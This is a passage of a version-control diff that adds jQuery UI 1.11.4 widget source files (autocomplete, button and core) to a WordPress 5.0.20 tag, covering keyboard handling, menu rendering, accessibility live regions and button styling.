+						// #6055 - Opera still allows the keypress to occur
+						// which causes forms to submit
+						suppressKeyPress = true;
+						event.preventDefault();
+						this.menu.select( event );
+					}
+					break;
+				case keyCode.TAB:
+					if ( this.menu.active ) {
+						this.menu.select( event );
+					}
+					break;
+				case keyCode.ESCAPE:
+					if ( this.menu.element.is( ":visible" ) ) {
+						if ( !this.isMultiLine ) {
+							this._value( this.term );
+						}
+						this.close( event );
+						// Different browsers have different default behavior for escape
+						// Single press can mean undo or clear
+						// Double press in IE means clear the whole form
+						event.preventDefault();
+					}
+					break;
+				default:
+					suppressKeyPressRepeat = true;
+					// search timeout should be triggered before the input value is changed
+					this._searchTimeout( event );
+					break;
+				}
+			},
+			keypress: function( event ) {
+				if ( suppressKeyPress ) {
+					suppressKeyPress = false;
+					if ( !this.isMultiLine || this.menu.element.is( ":visible" ) ) {
+						event.preventDefault();
+					}
+					return;
+				}
+				if ( suppressKeyPressRepeat ) {
+					return;
+				}
+
+				// replicate some key handlers to allow them to repeat in Firefox and Opera
+				var keyCode = $.ui.keyCode;
+				switch ( event.keyCode ) {
+				case keyCode.PAGE_UP:
+					this._move( "previousPage", event );
+					break;
+				case keyCode.PAGE_DOWN:
+					this._move( "nextPage", event );
+					break;
+				case keyCode.UP:
+					this._keyEvent( "previous", event );
+					break;
+				case keyCode.DOWN:
+					this._keyEvent( "next", event );
+					break;
+				}
+			},
+			input: function( event ) {
+				if ( suppressInput ) {
+					suppressInput = false;
+					event.preventDefault();
+					return;
+				}
+				this._searchTimeout( event );
+			},
+			focus: function() {
+				this.selectedItem = null;
+				this.previous = this._value();
+			},
+			blur: function( event ) {
+				if ( this.cancelBlur ) {
+					delete this.cancelBlur;
+					return;
+				}
+
+				clearTimeout( this.searching );
+				this.close( event );
+				this._change( event );
+			}
+		});
+
+		this._initSource();
+		this.menu = $( "<ul>" )
+			.addClass( "ui-autocomplete ui-front" )
+			.appendTo( this._appendTo() )
+			.menu({
+				// disable ARIA support, the live region takes care of that
+				role: null
+			})
+			.hide()
+			.menu( "instance" );
+
+		this._on( this.menu.element, {
+			mousedown: function( event ) {
+				// prevent moving focus out of the text field
+				event.preventDefault();
+
+				// IE doesn't prevent moving focus even with event.preventDefault()
+				// so we set a flag to know when we should ignore the blur event
+				this.cancelBlur = true;
+				this._delay(function() {
+					delete this.cancelBlur;
+				});
+
+				// clicking on the scrollbar causes focus to shift to the body
+				// but we can't detect a mouseup or a click immediately afterward
+				// so we have to track the next mousedown and close the menu if
+				// the user clicks somewhere outside of the autocomplete
+				var menuElement = this.menu.element[ 0 ];
+				if ( !$( event.target ).closest( ".ui-menu-item" ).length ) {
+					this._delay(function() {
+						var that = this;
+						this.document.one( "mousedown", function( event ) {
+							if ( event.target !== that.element[ 0 ] &&
+									event.target !== menuElement &&
+									!$.contains( menuElement, event.target ) ) {
+								that.close();
+							}
+						});
+					});
+				}
+			},
+			menufocus: function( event, ui ) {
+				var label, item;
+				// support: Firefox
+				// Prevent accidental activation of menu items in Firefox (#7024 #9118)
+				if ( this.isNewMenu ) {
+					this.isNewMenu = false;
+					if ( event.originalEvent && /^mouse/.test( event.originalEvent.type ) ) {
+						this.menu.blur();
+
+						this.document.one( "mousemove", function() {
+							$( event.target ).trigger( event.originalEvent );
+						});
+
+						return;
+					}
+				}
+
+				item = ui.item.data( "ui-autocomplete-item" );
+				if ( false !== this._trigger( "focus", event, { item: item } ) ) {
+					// use value to match what will end up in the input, if it was a key event
+					if ( event.originalEvent && /^key/.test( event.originalEvent.type ) ) {
+						this._value( item.value );
+					}
+				}
+
+				// Announce the value in the liveRegion
+				label = ui.item.attr( "aria-label" ) || item.value;
+				if ( label && $.trim( label ).length ) {
+					this.liveRegion.children().hide();
+					$( "<div>" ).text( label ).appendTo( this.liveRegion );
+				}
+			},
+			menuselect: function( event, ui ) {
+				var item = ui.item.data( "ui-autocomplete-item" ),
+					previous = this.previous;
+
+				// only trigger when focus was lost (click on menu)
+				if ( this.element[ 0 ] !== this.document[ 0 ].activeElement ) {
+					this.element.focus();
+					this.previous = previous;
+					// #6109 - IE triggers two focus events and the second
+					// is asynchronous, so we need to reset the previous
+					// term synchronously and asynchronously :-(
+					this._delay(function() {
+						this.previous = previous;
+						this.selectedItem = item;
+					});
+				}
+
+				if ( false !== this._trigger( "select", event, { item: item } ) ) {
+					this._value( item.value );
+				}
+				// reset the term after the select event
+				// this allows custom select handling to work properly
+				this.term = this._value();
+
+				this.close( event );
+				this.selectedItem = item;
+			}
+		});
+
+		this.liveRegion = $( "<span>", {
+				role: "status",
+				"aria-live": "assertive",
+				"aria-relevant": "additions"
+			})
+			.addClass( "ui-helper-hidden-accessible" )
+			.appendTo( this.document[ 0 ].body );
+
+		// turning off autocomplete prevents the browser from remembering the
+		// value when navigating through history, so we re-enable autocomplete
+		// if the page is unloaded before the widget is destroyed. #7790
+		this._on( this.window, {
+			beforeunload: function() {
+				this.element.removeAttr( "autocomplete" );
+			}
+		});
+	},
+
+	_destroy: function() {
+		clearTimeout( this.searching );
+		this.element
+			.removeClass( "ui-autocomplete-input" )
+			.removeAttr( "autocomplete" );
+		this.menu.element.remove();
+		this.liveRegion.remove();
+	},
+
+	_setOption: function( key, value ) {
+		this._super( key, value );
+		if ( key === "source" ) {
+			this._initSource();
+		}
+		if ( key === "appendTo" ) {
+			this.menu.element.appendTo( this._appendTo() );
+		}
+		if ( key === "disabled" && value && this.xhr ) {
+			this.xhr.abort();
+		}
+	},
+
+	_appendTo: function() {
+		var element = this.options.appendTo;
+
+		if ( element ) {
+			element = element.jquery || element.nodeType ?
+				$( element ) :
+				this.document.find( element ).eq( 0 );
+		}
+
+		if ( !element || !element[ 0 ] ) {
+			element = this.element.closest( ".ui-front" );
+		}
+
+		if ( !element.length ) {
+			element = this.document[ 0 ].body;
+		}
+
+		return element;
+	},
+
+	_initSource: function() {
+		var array, url,
+			that = this;
+		if ( $.isArray( this.options.source ) ) {
+			array = this.options.source;
+			this.source = function( request, response ) {
+				response( $.ui.autocomplete.filter( array, request.term ) );
+			};
+		} else if ( typeof this.options.source === "string" ) {
+			url = this.options.source;
+			this.source = function( request, response ) {
+				if ( that.xhr ) {
+					that.xhr.abort();
+				}
+				that.xhr = $.ajax({
+					url: url,
+					data: request,
+					dataType: "json",
+					success: function( data ) {
+						response( data );
+					},
+					error: function() {
+						response([]);
+					}
+				});
+			};
+		} else {
+			this.source = this.options.source;
+		}
+	},
+
+	_searchTimeout: function( event ) {
+		clearTimeout( this.searching );
+		this.searching = this._delay(function() {
+
+			// Search if the value has changed, or if the user retypes the same value (see #7434)
+			var equalValues = this.term === this._value(),
+				menuVisible = this.menu.element.is( ":visible" ),
+				modifierKey = event.altKey || event.ctrlKey || event.metaKey || event.shiftKey;
+
+			if ( !equalValues || ( equalValues && !menuVisible && !modifierKey ) ) {
+				this.selectedItem = null;
+				this.search( null, event );
+			}
+		}, this.options.delay );
+	},
+
+	search: function( value, event ) {
+		value = value != null ? value : this._value();
+
+		// always save the actual value, not the one passed as an argument
+		this.term = this._value();
+
+		if ( value.length < this.options.minLength ) {
+			return this.close( event );
+		}
+
+		if ( this._trigger( "search", event ) === false ) {
+			return;
+		}
+
+		return this._search( value );
+	},
+
+	_search: function( value ) {
+		this.pending++;
+		this.element.addClass( "ui-autocomplete-loading" );
+		this.cancelSearch = false;
+
+		this.source( { term: value }, this._response() );
+	},
+
+	_response: function() {
+		var index = ++this.requestIndex;
+
+		return $.proxy(function( content ) {
+			if ( index === this.requestIndex ) {
+				this.__response( content );
+			}
+
+			this.pending--;
+			if ( !this.pending ) {
+				this.element.removeClass( "ui-autocomplete-loading" );
+			}
+		}, this );
+	},
+
+	__response: function( content ) {
+		if ( content ) {
+			content = this._normalize( content );
+		}
+		this._trigger( "response", null, { content: content } );
+		if ( !this.options.disabled && content && content.length && !this.cancelSearch ) {
+			this._suggest( content );
+			this._trigger( "open" );
+		} else {
+			// use ._close() instead of .close() so we don't cancel future searches
+			this._close();
+		}
+	},
+
+	close: function( event ) {
+		this.cancelSearch = true;
+		this._close( event );
+	},
+
+	_close: function( event ) {
+		if ( this.menu.element.is( ":visible" ) ) {
+			this.menu.element.hide();
+			this.menu.blur();
+			this.isNewMenu = true;
+			this._trigger( "close", event );
+		}
+	},
+
+	_change: function( event ) {
+		if ( this.previous !== this._value() ) {
+			this._trigger( "change", event, { item: this.selectedItem } );
+		}
+	},
+
+	_normalize: function( items ) {
+		// assume all items have the right format when the first item is complete
+		if ( items.length && items[ 0 ].label && items[ 0 ].value ) {
+			return items;
+		}
+		return $.map( items, function( item ) {
+			if ( typeof item === "string" ) {
+				return {
+					label: item,
+					value: item
+				};
+			}
+			return $.extend( {}, item, {
+				label: item.label || item.value,
+				value: item.value || item.label
+			});
+		});
+	},
+
+	_suggest: function( items ) {
+		var ul = this.menu.element.empty();
+		this._renderMenu( ul, items );
+		this.isNewMenu = true;
+		this.menu.refresh();
+
+		// size and position menu
+		ul.show();
+		this._resizeMenu();
+		ul.position( $.extend({
+			of: this.element
+		}, this.options.position ) );
+
+		if ( this.options.autoFocus ) {
+			this.menu.next();
+		}
+	},
+
+	_resizeMenu: function() {
+		var ul = this.menu.element;
+		ul.outerWidth( Math.max(
+			// Firefox wraps long text (possibly a rounding bug)
+			// so we add 1px to avoid the wrapping (#7513)
+			ul.width( "" ).outerWidth() + 1,
+			this.element.outerWidth()
+		) );
+	},
+
+	_renderMenu: function( ul, items ) {
+		var that = this;
+		$.each( items, function( index, item ) {
+			that._renderItemData( ul, item );
+		});
+	},
+
+	_renderItemData: function( ul, item ) {
+		return this._renderItem( ul, item ).data( "ui-autocomplete-item", item );
+	},
+
+	_renderItem: function( ul, item ) {
+		return $( "<li>" ).text( item.label ).appendTo( ul );
+	},
+
+	_move: function( direction, event ) {
+		if ( !this.menu.element.is( ":visible" ) ) {
+			this.search( null, event );
+			return;
+		}
+		if ( this.menu.isFirstItem() && /^previous/.test( direction ) ||
+				this.menu.isLastItem() && /^next/.test( direction ) ) {
+
+			if ( !this.isMultiLine ) {
+				this._value( this.term );
+			}
+
+			this.menu.blur();
+			return;
+		}
+		this.menu[ direction ]( event );
+	},
+
+	widget: function() {
+		return this.menu.element;
+	},
+
+	_value: function() {
+		return this.valueMethod.apply( this.element, arguments );
+	},
+
+	_keyEvent: function( keyEvent, event ) {
+		if ( !this.isMultiLine || this.menu.element.is( ":visible" ) ) {
+			this._move( keyEvent, event );
+
+			// prevents moving cursor to beginning/end of the text field in some browsers
+			event.preventDefault();
+		}
+	}
+});
+
+$.extend( $.ui.autocomplete, {
+	escapeRegex: function( value ) {
+		return value.replace( /[\-\[\]{}()*+?.,\\\^$|#\s]/g, "\\$&" );
+	},
+	filter: function( array, term ) {
+		var matcher = new RegExp( $.ui.autocomplete.escapeRegex( term ), "i" );
+		return $.grep( array, function( value ) {
+			return matcher.test( value.label || value.value || value );
+		});
+	}
+});
+
+// live region extension, adding a `messages` option
+// NOTE: This is an experimental API. We are still investigating
+// a full solution for string manipulation and internationalization.
+$.widget( "ui.autocomplete", $.ui.autocomplete, {
+	options: {
+		messages: {
+			noResults: "No search results.",
+			results: function( amount ) {
+				return amount + ( amount > 1 ? " results are" : " result is" ) +
+					" available, use up and down arrow keys to navigate.";
+			}
+		}
+	},
+
+	__response: function( content ) {
+		var message;
+		this._superApply( arguments );
+		if ( this.options.disabled || this.cancelSearch ) {
+			return;
+		}
+		if ( content && content.length ) {
+			message = this.options.messages.results( content.length );
+		} else {
+			message = this.options.messages.noResults;
+		}
+		this.liveRegion.children().hide();
+		$( "<div>" ).text( message ).appendTo( this.liveRegion );
+	}
+});
+
+return $.ui.autocomplete;
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/button.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/button.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/button.js	(revision 56912)
@@ -0,0 +1,411 @@
+/*!
+ * jQuery UI Button 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/button/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+var lastActive,
+	baseClasses = "ui-button ui-widget ui-state-default ui-corner-all",
+	typeClasses = "ui-button-icons-only ui-button-icon-only ui-button-text-icons ui-button-text-icon-primary ui-button-text-icon-secondary ui-button-text-only",
+	formResetHandler = function() {
+		var form = $( this );
+		setTimeout(function() {
+			form.find( ":ui-button" ).button( "refresh" );
+		}, 1 );
+	},
+	radioGroup = function( radio ) {
+		var name = radio.name,
+			form = radio.form,
+			radios = $( [] );
+		if ( name ) {
+			name = name.replace( /'/g, "\\'" );
+			if ( form ) {
+				radios = $( form ).find( "[name='" + name + "'][type=radio]" );
+			} else {
+				radios = $( "[name='" + name + "'][type=radio]", radio.ownerDocument )
+					.filter(function() {
+						return !this.form;
+					});
+			}
+		}
+		return radios;
+	};
+
+$.widget( "ui.button", {
+	version: "1.11.4",
+	defaultElement: "<button>",
+	options: {
+		disabled: null,
+		text: true,
+		label: null,
+		icons: {
+			primary: null,
+			secondary: null
+		}
+	},
+	_create: function() {
+		this.element.closest( "form" )
+			.unbind( "reset" + this.eventNamespace )
+			.bind( "reset" + this.eventNamespace, formResetHandler );
+
+		if ( typeof this.options.disabled !== "boolean" ) {
+			this.options.disabled = !!this.element.prop( "disabled" );
+		} else {
+			this.element.prop( "disabled", this.options.disabled );
+		}
+
+		this._determineButtonType();
+		this.hasTitle = !!this.buttonElement.attr( "title" );
+
+		var that = this,
+			options = this.options,
+			toggleButton = this.type === "checkbox" || this.type === "radio",
+			activeClass = !toggleButton ? "ui-state-active" : "";
+
+		if ( options.label === null ) {
+			options.label = (this.type === "input" ? this.buttonElement.val() : this.buttonElement.html());
+		}
+
+		this._hoverable( this.buttonElement );
+
+		this.buttonElement
+			.addClass( baseClasses )
+			.attr( "role", "button" )
+			.bind( "mouseenter" + this.eventNamespace, function() {
+				if ( options.disabled ) {
+					return;
+				}
+				if ( this === lastActive ) {
+					$( this ).addClass( "ui-state-active" );
+				}
+			})
+			.bind( "mouseleave" + this.eventNamespace, function() {
+				if ( options.disabled ) {
+					return;
+				}
+				$( this ).removeClass( activeClass );
+			})
+			.bind( "click" + this.eventNamespace, function( event ) {
+				if ( options.disabled ) {
+					event.preventDefault();
+					event.stopImmediatePropagation();
+				}
+			});
+
+		// Can't use _focusable() because the element that receives focus
+		// and the element that gets the ui-state-focus class are different
+		this._on({
+			focus: function() {
+				this.buttonElement.addClass( "ui-state-focus" );
+			},
+			blur: function() {
+				this.buttonElement.removeClass( "ui-state-focus" );
+			}
+		});
+
+		if ( toggleButton ) {
+			this.element.bind( "change" + this.eventNamespace, function() {
+				that.refresh();
+			});
+		}
+
+		if ( this.type === "checkbox" ) {
+			this.buttonElement.bind( "click" + this.eventNamespace, function() {
+				if ( options.disabled ) {
+					return false;
+				}
+			});
+		} else if ( this.type === "radio" ) {
+			this.buttonElement.bind( "click" + this.eventNamespace, function() {
+				if ( options.disabled ) {
+					return false;
+				}
+				$( this ).addClass( "ui-state-active" );
+				that.buttonElement.attr( "aria-pressed", "true" );
+
+				var radio = that.element[ 0 ];
+				radioGroup( radio )
+					.not( radio )
+					.map(function() {
+						return $( this ).button( "widget" )[ 0 ];
+					})
+					.removeClass( "ui-state-active" )
+					.attr( "aria-pressed", "false" );
+			});
+		} else {
+			this.buttonElement
+				.bind( "mousedown" + this.eventNamespace, function() {
+					if ( options.disabled ) {
+						return false;
+					}
+					$( this ).addClass( "ui-state-active" );
+					lastActive = this;
+					that.document.one( "mouseup", function() {
+						lastActive = null;
+					});
+				})
+				.bind( "mouseup" + this.eventNamespace, function() {
+					if ( options.disabled ) {
+						return false;
+					}
+					$( this ).removeClass( "ui-state-active" );
+				})
+				.bind( "keydown" + this.eventNamespace, function(event) {
+					if ( options.disabled ) {
+						return false;
+					}
+					if ( event.keyCode === $.ui.keyCode.SPACE || event.keyCode === $.ui.keyCode.ENTER ) {
+						$( this ).addClass( "ui-state-active" );
+					}
+				})
+				// see #8559, we bind to blur here in case the button element loses
+				// focus between keydown and keyup, it would be left in an "active" state
+				.bind( "keyup" + this.eventNamespace + " blur" + this.eventNamespace, function() {
+					$( this ).removeClass( "ui-state-active" );
+				});
+
+			if ( this.buttonElement.is("a") ) {
+				this.buttonElement.keyup(function(event) {
+					if ( event.keyCode === $.ui.keyCode.SPACE ) {
+						// TODO pass through original event correctly (just as 2nd argument doesn't work)
+						$( this ).click();
+					}
+				});
+			}
+		}
+
+		this._setOption( "disabled", options.disabled );
+		this._resetButton();
+	},
+
+	_determineButtonType: function() {
+		var ancestor, labelSelector, checked;
+
+		if ( this.element.is("[type=checkbox]") ) {
+			this.type = "checkbox";
+		} else if ( this.element.is("[type=radio]") ) {
+			this.type = "radio";
+		} else if ( this.element.is("input") ) {
+			this.type = "input";
+		} else {
+			this.type = "button";
+		}
+
+		if ( this.type === "checkbox" || this.type === "radio" ) {
+			// we don't search against the document in case the element
+			// is disconnected from the DOM
+			ancestor = this.element.parents().last();
+			labelSelector = "label[for='" + this.element.attr("id") + "']";
+			this.buttonElement = ancestor.find( labelSelector );
+			if ( !this.buttonElement.length ) {
+				ancestor = ancestor.length ? ancestor.siblings() : this.element.siblings();
+				this.buttonElement = ancestor.filter( labelSelector );
+				if ( !this.buttonElement.length ) {
+					this.buttonElement = ancestor.find( labelSelector );
+				}
+			}
+			this.element.addClass( "ui-helper-hidden-accessible" );
+
+			checked = this.element.is( ":checked" );
+			if ( checked ) {
+				this.buttonElement.addClass( "ui-state-active" );
+			}
+			this.buttonElement.prop( "aria-pressed", checked );
+		} else {
+			this.buttonElement = this.element;
+		}
+	},
+
+	widget: function() {
+		return this.buttonElement;
+	},
+
+	_destroy: function() {
+		this.element
+			.removeClass( "ui-helper-hidden-accessible" );
+		this.buttonElement
+			.removeClass( baseClasses + " ui-state-active " + typeClasses )
+			.removeAttr( "role" )
+			.removeAttr( "aria-pressed" )
+			.html( this.buttonElement.find(".ui-button-text").html() );
+
+		if ( !this.hasTitle ) {
+			this.buttonElement.removeAttr( "title" );
+		}
+	},
+
+	_setOption: function( key, value ) {
+		this._super( key, value );
+		if ( key === "disabled" ) {
+			this.widget().toggleClass( "ui-state-disabled", !!value );
+			this.element.prop( "disabled", !!value );
+			if ( value ) {
+				if ( this.type === "checkbox" || this.type === "radio" ) {
+					this.buttonElement.removeClass( "ui-state-focus" );
+				} else {
+					this.buttonElement.removeClass( "ui-state-focus ui-state-active" );
+				}
+			}
+			return;
+		}
+		this._resetButton();
+	},
+
+	refresh: function() {
+		//See #8237 & #8828
+		var isDisabled = this.element.is( "input, button" ) ? this.element.is( ":disabled" ) : this.element.hasClass( "ui-button-disabled" );
+
+		if ( isDisabled !== this.options.disabled ) {
+			this._setOption( "disabled", isDisabled );
+		}
+		if ( this.type === "radio" ) {
+			radioGroup( this.element[0] ).each(function() {
+				if ( $( this ).is( ":checked" ) ) {
+					$( this ).button( "widget" )
+						.addClass( "ui-state-active" )
+						.attr( "aria-pressed", "true" );
+				} else {
+					$( this ).button( "widget" )
+						.removeClass( "ui-state-active" )
+						.attr( "aria-pressed", "false" );
+				}
+			});
+		} else if ( this.type === "checkbox" ) {
+			if ( this.element.is( ":checked" ) ) {
+				this.buttonElement
+					.addClass( "ui-state-active" )
+					.attr( "aria-pressed", "true" );
+			} else {
+				this.buttonElement
+					.removeClass( "ui-state-active" )
+					.attr( "aria-pressed", "false" );
+			}
+		}
+	},
+
+	_resetButton: function() {
+		if ( this.type === "input" ) {
+			if ( this.options.label ) {
+				this.element.val( this.options.label );
+			}
+			return;
+		}
+		var buttonElement = this.buttonElement.removeClass( typeClasses ),
+			buttonText = $( "<span></span>", this.document[0] )
+				.addClass( "ui-button-text" )
+				.html( this.options.label )
+				.appendTo( buttonElement.empty() )
+				.text(),
+			icons = this.options.icons,
+			multipleIcons = icons.primary && icons.secondary,
+			buttonClasses = [];
+
+		if ( icons.primary || icons.secondary ) {
+			if ( this.options.text ) {
+				buttonClasses.push( "ui-button-text-icon" + ( multipleIcons ? "s" : ( icons.primary ? "-primary" : "-secondary" ) ) );
+			}
+
+			if ( icons.primary ) {
+				buttonElement.prepend( "<span class='ui-button-icon-primary ui-icon " + icons.primary + "'></span>" );
+			}
+
+			if ( icons.secondary ) {
+				buttonElement.append( "<span class='ui-button-icon-secondary ui-icon " + icons.secondary + "'></span>" );
+			}
+
+			if ( !this.options.text ) {
+				buttonClasses.push( multipleIcons ? "ui-button-icons-only" : "ui-button-icon-only" );
+
+				if ( !this.hasTitle ) {
+					buttonElement.attr( "title", $.trim( buttonText ) );
+				}
+			}
+		} else {
+			buttonClasses.push( "ui-button-text-only" );
+		}
+		buttonElement.addClass( buttonClasses.join( " " ) );
+	}
+});
+
+$.widget( "ui.buttonset", {
+	version: "1.11.4",
+	options: {
+		items: "button, input[type=button], input[type=submit], input[type=reset], input[type=checkbox], input[type=radio], a, :data(ui-button)"
+	},
+
+	_create: function() {
+		this.element.addClass( "ui-buttonset" );
+	},
+
+	_init: function() {
+		this.refresh();
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "disabled" ) {
+			this.buttons.button( "option", key, value );
+		}
+
+		this._super( key, value );
+	},
+
+	refresh: function() {
+		var rtl = this.element.css( "direction" ) === "rtl",
+			allButtons = this.element.find( this.options.items ),
+			existingButtons = allButtons.filter( ":ui-button" );
+
+		// Initialize new buttons
+		allButtons.not( ":ui-button" ).button();
+
+		// Refresh existing buttons
+		existingButtons.button( "refresh" );
+
+		this.buttons = allButtons
+			.map(function() {
+				return $( this ).button( "widget" )[ 0 ];
+			})
+				.removeClass( "ui-corner-all ui-corner-left ui-corner-right" )
+				.filter( ":first" )
+					.addClass( rtl ? "ui-corner-right" : "ui-corner-left" )
+				.end()
+				.filter( ":last" )
+					.addClass( rtl ? "ui-corner-left" : "ui-corner-right" )
+				.end()
+			.end();
+	},
+
+	_destroy: function() {
+		this.element.removeClass( "ui-buttonset" );
+		this.buttons
+			.map(function() {
+				return $( this ).button( "widget" )[ 0 ];
+			})
+				.removeClass( "ui-corner-left ui-corner-right" )
+			.end()
+			.button( "destroy" );
+	}
+});
+
+return $.ui.button;
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/core.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/core.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/core.js	(revision 56912)
@@ -0,0 +1,304 @@
+/*!
+ * jQuery UI Core 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/category/ui-core/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define( [ "jquery" ], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+// $.ui might exist from components with no dependencies, e.g., $.ui.position
+$.ui = $.ui || {};
+
+$.extend( $.ui, {
+	version: "1.11.4",
+
+	keyCode: {
+		BACKSPACE: 8,
+		COMMA: 188,
+		DELETE: 46,
+		DOWN: 40,
+		END: 35,
+		ENTER: 13,
+		ESCAPE: 27,
+		HOME: 36,
+		LEFT: 37,
+		PAGE_DOWN: 34,
+		PAGE_UP: 33,
+		PERIOD: 190,
+		RIGHT: 39,
+		SPACE: 32,
+		TAB: 9,
+		UP: 38
+	}
+});
+
+// plugins
+$.fn.extend({
+	scrollParent: function( includeHidden ) {
+		var position = this.css( "position" ),
+			excludeStaticParent = position === "absolute",
+			overflowRegex = includeHidden ? /(auto|scroll|hidden)/ : /(auto|scroll)/,
+			scrollParent = this.parents().filter( function() {
+				var parent = $( this );
+				if ( excludeStaticParent && parent.css( "position" ) === "static" ) {
+					return false;
+				}
+				return overflowRegex.test( parent.css( "overflow" ) + parent.css( "overflow-y" ) + parent.css( "overflow-x" ) );
+			}).eq( 0 );
+
+		return position === "fixed" || !scrollParent.length ? $( this[ 0 ].ownerDocument || document ) : scrollParent;
+	},
+
+	uniqueId: (function() {
+		var uuid = 0;
+
+		return function() {
+			return this.each(function() {
+				if ( !this.id ) {
+					this.id = "ui-id-" + ( ++uuid );
+				}
+			});
+		};
+	})(),
+
+	removeUniqueId: function() {
+		return this.each(function() {
+			if ( /^ui-id-\d+$/.test( this.id ) ) {
+				$( this ).removeAttr( "id" );
+			}
+		});
+	}
+});
+
+// selectors
+function focusable( element, isTabIndexNotNaN ) {
+	var map, mapName, img,
+		nodeName = element.nodeName.toLowerCase();
+	if ( "area" === nodeName ) {
+		map = element.parentNode;
+		mapName = map.name;
+		if ( !element.href || !mapName || map.nodeName.toLowerCase() !== "map" ) {
+			return false;
+		}
+		img = $( "img[usemap='#" + mapName + "']" )[ 0 ];
+		return !!img && visible( img );
+	}
+	return ( /^(input|select|textarea|button|object)$/.test( nodeName ) ?
+		!element.disabled :
+		"a" === nodeName ?
+			element.href || isTabIndexNotNaN :
+			isTabIndexNotNaN) &&
+		// the element and all of its ancestors must be visible
+		visible( element );
+}
+
+function visible( element ) {
+	return $.expr.filters.visible( element ) &&
+		!$( element ).parents().addBack().filter(function() {
+			return $.css( this, "visibility" ) === "hidden";
+		}).length;
+}
+
+$.extend( $.expr[ ":" ], {
+	data: $.expr.createPseudo ?
+		$.expr.createPseudo(function( dataName ) {
+			return function( elem ) {
+				return !!$.data( elem, dataName );
+			};
+		}) :
+		// support: jQuery <1.8
+		function( elem, i, match ) {
+			return !!$.data( elem, match[ 3 ] );
+		},
+
+	focusable: function( element ) {
+		return focusable( element, !isNaN( $.attr( element, "tabindex" ) ) );
+	},
+
+	tabbable: function( element ) {
+		var tabIndex = $.attr( element, "tabindex" ),
+			isTabIndexNaN = isNaN( tabIndex );
+		return ( isTabIndexNaN || tabIndex >= 0 ) && focusable( element, !isTabIndexNaN );
+	}
+});
+
+// support: jQuery <1.8
+if ( !$( "<a>" ).outerWidth( 1 ).jquery ) {
+	$.each( [ "Width", "Height" ], function( i, name ) {
+		var side = name === "Width" ? [ "Left", "Right" ] : [ "Top", "Bottom" ],
+			type = name.toLowerCase(),
+			orig = {
+				innerWidth: $.fn.innerWidth,
+				innerHeight: $.fn.innerHeight,
+				outerWidth: $.fn.outerWidth,
+				outerHeight: $.fn.outerHeight
+			};
+
+		function reduce( elem, size, border, margin ) {
+			$.each( side, function() {
+				size -= parseFloat( $.css( elem, "padding" + this ) ) || 0;
+				if ( border ) {
+					size -= parseFloat( $.css( elem, "border" + this + "Width" ) ) || 0;
+				}
+				if ( margin ) {
+					size -= parseFloat( $.css( elem, "margin" + this ) ) || 0;
+				}
+			});
+			return size;
+		}
+
+		$.fn[ "inner" + name ] = function( size ) {
+			if ( size === undefined ) {
+				return orig[ "inner" + name ].call( this );
+			}
+
+			return this.each(function() {
+				$( this ).css( type, reduce( this, size ) + "px" );
+			});
+		};
+
+		$.fn[ "outer" + name] = function( size, margin ) {
+			if ( typeof size !== "number" ) {
+				return orig[ "outer" + name ].call( this, size );
+			}
+
+			return this.each(function() {
+				$( this).css( type, reduce( this, size, true, margin ) + "px" );
+			});
+		};
+	});
+}
+
+// support: jQuery <1.8
+if ( !$.fn.addBack ) {
+	$.fn.addBack = function( selector ) {
+		return this.add( selector == null ?
+			this.prevObject : this.prevObject.filter( selector )
+		);
+	};
+}
+
+// support: jQuery 1.6.1, 1.6.2 (http://bugs.jquery.com/ticket/9413)
+if ( $( "<a>" ).data( "a-b", "a" ).removeData( "a-b" ).data( "a-b" ) ) {
+	$.fn.removeData = (function( removeData ) {
+		return function( key ) {
+			if ( arguments.length ) {
+				return removeData.call( this, $.camelCase( key ) );
+			} else {
+				return removeData.call( this );
+			}
+		};
+	})( $.fn.removeData );
+}
+
+// deprecated
+$.ui.ie = !!/msie [\w.]+/.exec( navigator.userAgent.toLowerCase() );
+
+$.fn.extend({
+	focus: (function( orig ) {
+		return function( delay, fn ) {
+			return typeof delay === "number" ?
+				this.each(function() {
+					var elem = this;
+					setTimeout(function() {
+						$( elem ).focus();
+						if ( fn ) {
+							fn.call( elem );
+						}
+					}, delay );
+				}) :
+				orig.apply( this, arguments );
+		};
+	})( $.fn.focus ),
+
+	disableSelection: (function() {
+		var eventType = "onselectstart" in document.createElement( "div" ) ?
+			"selectstart" :
+			"mousedown";
+
+		return function() {
+			return this.bind( eventType + ".ui-disableSelection", function( event ) {
+				event.preventDefault();
+			});
+		};
+	})(),
+
+	enableSelection: function() {
+		return this.unbind( ".ui-disableSelection" );
+	},
+
+	zIndex: function( zIndex ) {
+		if ( zIndex !== undefined ) {
+			return this.css( "zIndex", zIndex );
+		}
+
+		if ( this.length ) {
+			var elem = $( this[ 0 ] ), position, value;
+			while ( elem.length && elem[ 0 ] !== document ) {
+				// Ignore z-index if position is set to a value where z-index is ignored by the browser
+				// This makes behavior of this function consistent across browsers
+				// WebKit always returns auto if the element is positioned
+				position = elem.css( "position" );
+				if ( position === "absolute" || position === "relative" || position === "fixed" ) {
+					// IE returns 0 when zIndex is not specified
+					// other browsers return a string
+					// we ignore the case of nested elements with an explicit value of 0
+					// <div style="z-index: -10;"><div style="z-index: 0;"></div></div>
+					value = parseInt( elem.css( "zIndex" ), 10 );
+					if ( !isNaN( value ) && value !== 0 ) {
+						return value;
+					}
+				}
+				elem = elem.parent();
+			}
+		}
+
